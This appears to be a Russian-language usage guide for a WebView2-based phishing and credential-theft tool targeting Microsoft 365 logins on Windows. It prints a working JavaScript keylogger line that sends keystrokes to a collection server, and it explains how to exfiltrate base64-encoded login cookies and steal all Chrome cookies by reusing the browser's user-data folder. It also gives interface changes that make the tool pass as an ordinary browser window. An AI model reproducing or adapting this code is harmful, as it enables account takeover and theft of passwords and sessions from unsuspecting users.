August 19, 2024

Инструкция по использованию атаки с использованием WebView2

FreeSource Hub

Использование

Протестировано в Windows 10 и 11.

При выполнении загружается двоичный файл https://office.com/login. На каждую страницу внедряется кейлоггер JavaScript, и нажатия клавиш отправляются на http://127.0.0.1:8080. Кроме того, после успешной аутентификации пользователя файлы cookie для login.microsoftonline.com кодируются в base64 и отправляются http://127.0.0.1:8080 через HTTP GET-запрос.

Изменение JavaScript

Если вы хотите изменить JavaScript, код, который необходимо изменить, показан ниже на line 1096 в AppWindow.cpp.

coreWebView2->AddScriptToExecuteOnDocumentCreated(L"var link = \"http://127.0.0.1:8080/keylog?k=\";var l = \"\";document.onkeypress = function (e){l += e.key;var req = new XMLHttpRequest();req.open(\"GET\",link.concat(l), true);req.send();}", nullptr);

Кража файлов cookie Chrome

WebView2 позволяет запускать с существующей папкой пользовательских данных (UDF), а не создавать новую. UDF содержит все пароли, сеансы, закладки и т.д. UDF Chrome находится по адресу C:\Users\<username>\AppData\Local\Google\Chrome\User Data. Мы можем просто указать WebView2 запустить инстанс с использованием этого профиля и при запуске извлечь все файлы cookie и передать их на сервер злоумышленника.

Единственная загвоздка в том, что WebView2 ищет папку с именем EBWebView вместо User Data (не уверен почему). Скопируйте User Data папку и переименуйте ее в EBWebView.

Необходимые изменения

  • На line 41 в app.cpp:
  • Изменить std::wstring userDataFolder(L""); на std::wstring userDataFolder(L"C:\\Path\\To\\Temp");
  • Указанная папка должна содержать EBWebView папку, из которой WebView2 будет выполнять чтение.
  • На line 40 в ScenarioCookieManagement.cpp:
  • Изменить GetCookiesHelper(L"https://login.microsoftonline.com"); на GetCookiesHelper(L"");

Когда GetCookiesHelper вызывается без указания какого-либо веб-сайта, он извлекает все файлы cookie.

Примечание: Это не будет работать с текущим приложением, если имеется большое количество файлов cookie, потому что приложение отправляет их с помощью запроса GET, длина которого ограничена.

Важные функции

Если вы хотите внести изменения в двоичный файл, вы найдете информацию о важных функциях ниже.

  • AppStartPage.cpp - GetUri() функция имеет URL-адрес, который загружается при двоичном выполнении.
  • ScenarioCookieManagement.cpp - SendCookies() функция содержит IP-адрес и порт, на который отправляются файлы cookie.
  • AppWindow.cpp - CallCookieFunction() функция ожидает, пока URL-адрес не начнется с https://www.office.com/?auth= и вызывает ScenarioCookieManagement::GetCookiesHelper(L"https://login.microsoftonline.com")
  • WebView2APISample.rc - Косметические измененияУдалите строку меню, установив для всех POPUP значений значение "".
  • Измените IDS_APP_TITLE и IDC_WEBVIEW2APISAMPLE. Это название приложения в строке заголовка.
  • Измените IDI_WEBVIEW2APISAMPLE и IDI_WEBVIEW2APISAMPLE_INPRIVATE и IDI_SMALL. Они указывают на .ico файл, который является значком для этого приложения.
  • Toolbar.cpp - itemHeight должно быть установлено значение 0, чтобы удалить верхнее меню. Об этом уже позаботились в этом коде.
  • AppWindow.cpp - LoadImage() должно быть закомментировано. Это скрывает синюю заставку. Об этом уже позаботились в этом коде.
  • App.cpp - new AppWindow(creationModeId, WebViewCreateOption(), initialUri, userDataFolder, false); измените последнее значение параметра на true. При этом панель инструментов будет скрыта. Об этом уже позаботились в этом коде.